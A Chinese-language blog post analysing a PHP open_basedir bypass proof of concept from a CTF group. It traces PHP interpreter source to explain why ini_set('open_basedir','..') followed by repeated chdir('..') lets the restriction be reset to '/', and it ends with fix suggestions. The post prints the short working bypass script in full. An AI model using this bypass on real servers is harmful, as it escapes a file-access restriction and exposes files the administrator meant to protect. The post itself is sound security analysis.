Fork me on GitHub

php open_basedir 绕过poc分析

php open_basedir poc分析

近日在CTF交流群中看到一个绕过open_basedir限制的poc

对这个poc产生了极大的兴趣,因此翻出php的源码来下断点分析一波php open_basedir的机制。

/main/fopen_wrappers.cPHPAPI int php_check_open_basedir_ex(const char *path, int warn)方法是php在处理文件操作时用于验证open_basedir的方法。我们查看一下他的实现方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;

/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}

pathbuf = estrdup(PG(open_basedir));

ptr = pathbuf;

while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '\0';
end++;
}

if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}

ptr = end;
}
if (warn) {
php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}

/* Nothing to check... */
return 0;
}

跟进php_check_specific_open_basedir,这个函数是具体实现每一个路径的判断,一个很长的函数,重点在如下几行:

1
2
3
if (expand_filepath(path, resolved_name) == NULL) {
return -1;
}

这里是将传入的path扩展为绝对路径存放于resolved_name

第214行

1
if (expand_filepath(local_open_basedir, resolved_basedir) != NULL) {

这里会根据local_open_basedir的值扩展为绝对路径存放于resolved_basedir

241行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (strncasecmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) {
#else
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) {
#endif
if (resolved_name_len > resolved_basedir_len &&
resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {
return -1;
} else {
/* File is in the right directory */
return 0;
}
} else {
/* /openbasedir/ and /openbasedir are the same directory */
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) {
#ifdef PHP_WIN32
if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) {
#else
if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) {
#endif
return 0;
}
}
return -1;
}

可以看到这里在判断是否在路径范围内时,主要比较依据是先用strncmp判断与resolved_basedir长度内的部分是否完全一致,一致的话如果resolved_name与resolved_basedir长度相等则说明就在同一路径,返回0表示允许,长度大于resolved_basedir则判断超出的第一个字符是否不是/,是则返回成功,不是则返回失败。

这里我们再重点看一下expand_filepath这个函数的实现,主要实现为PHPAPI char *expand_filepath_with_mode,重点位于814行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {
efree(new_state.cwd);
return NULL;
}

if (real_path) {
copy_len = new_state.cwd_length > MAXPATHLEN - 1 ? MAXPATHLEN - 1 : new_state.cwd_length;
memcpy(real_path, new_state.cwd, copy_len);
real_path[copy_len] = '\0';
} else {
real_path = estrndup(new_state.cwd, new_state.cwd_length);
}
efree(new_state.cwd);

return real_path;
}

查看virtual_file_ex的实现,1337行之前的操作为如果path不是绝对路径则将path拼接至state.cwd得到resolved_path,重点第1337行

1
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);

跟进tsrm_realpath_r,可以看到操作主要是递归去掉双斜杠和.以及..

这便是php在处理文件操作判断open_basedir的实现。我们再看php的内置函数ini_set的实现方法,在ext/standard/basic_functions.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
PHP_FUNCTION(ini_set)
{
zend_string *varname;
zend_string *new_value;
zend_string *val;

ZEND_PARSE_PARAMETERS_START(2, 2)
Z_PARAM_STR(varname)
Z_PARAM_STR(new_value)
ZEND_PARSE_PARAMETERS_END();

val = zend_ini_get_value(varname);

/* copy to return here, because alter might free it! */
if (val) {
if (ZSTR_IS_INTERNED(val)) {
RETVAL_INTERNED_STR(val);
} else if (ZSTR_LEN(val) == 0) {
RETVAL_EMPTY_STRING();
} else if (ZSTR_LEN(val) == 1) {
RETVAL_INTERNED_STR(ZSTR_CHAR((zend_uchar)ZSTR_VAL(val)[0]));
} else if (!(GC_FLAGS(val) & GC_PERSISTENT)) {
ZVAL_NEW_STR(return_value, zend_string_copy(val));
} else {
ZVAL_NEW_STR(return_value, zend_string_init(ZSTR_VAL(val), ZSTR_LEN(val), 0));
}
} else {
RETVAL_FALSE;
}

#define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, var_len, ini, sizeof(ini))
/* open basedir check */
if (PG(open_basedir)) {
if (_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "error_log") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.class.path") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.home") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "mail.log") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.library.path") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "vpopmail.directory")) {
if ( (ZSTR_VAL(new_value))) {
zval_ptr_dtor_str(return_value);
RETURN_FALSE;
}
}
}
#undef _CHECK_PATH

if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_ptr_dtor_str(return_value);
RETURN_FALSE;
}
}

由于我们ini_set的是open_basedir于是重要一行便落到了

1
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {

查看zend_alter_ini_entry_ex的实现,重要几行为

1
2
3
4
5
6
7
8
9
10
if (!ini_entry->on_modify
|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS) {
if (modified && ini_entry->orig_value != ini_entry->value) { /* we already changed the value, free the changed value */
zend_string_release(ini_entry->value);
}
ini_entry->value = duplicate;
} else {
zend_string_release(duplicate);
return FAILURE;
}

调试可知,open_basedir对应的on_modify函数为OnUpdateBaseDir,重要几行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ptr = pathbuf = estrdup(ZSTR_VAL(new_value));
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '\0';
end++;
}
if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */
efree(pathbuf);
return FAILURE;
}
ptr = end;
}

可见这里便是调用了php_check_open_basedir_ex来判断要更改的open_basedir是否合法。

回到zend_alter_ini_entry_ex

1
2
3
4
5
6
7
8
9
duplicate = zend_string_copy(new_value);

if (!ini_entry->on_modify
|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS) {
if (modified && ini_entry->orig_value != ini_entry->value) { /* we already changed the value, free the changed value */
zend_string_release(ini_entry->value);
}
ini_entry->value = duplicate;
}

可以看到open_basedir便会被直接设置为我们设置的值。

再来看我们的poc

1
2
3
4
5
6
7
8
9
<?php
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

假定我们的open_basedir/var/www/html,我们位于/var/www/html/test目录下

执行第一个ini_set时,首先判断/var/www/html/test/../var/www/html/是否为open_basedir内,判断成功,因此直接更新open_basedir为..

执行chdir('..')时,检测open_basedir,..根据当前目录补全后为/var/www/html,而我们的open_basedir..,补全后也是/var/www/html,因此可以chdir成功。

再次chdir('..'),检测open_basedir,..补全为/var/www,而此时的open_basedir补全也为/var/www,判断成功。

因此一系列的chdir('..')都会成功执行,最后当前目录跳到了/open_basedir..,设置open_basedir('/')同样可以执行成功,便成功实现了调整open_basedir至任意目录。

这个poc的构造十分巧妙,修复建议便是禁止在open_basedir已有的情况下修改open_basedir或者禁open_basedir可以被设置为相对路径。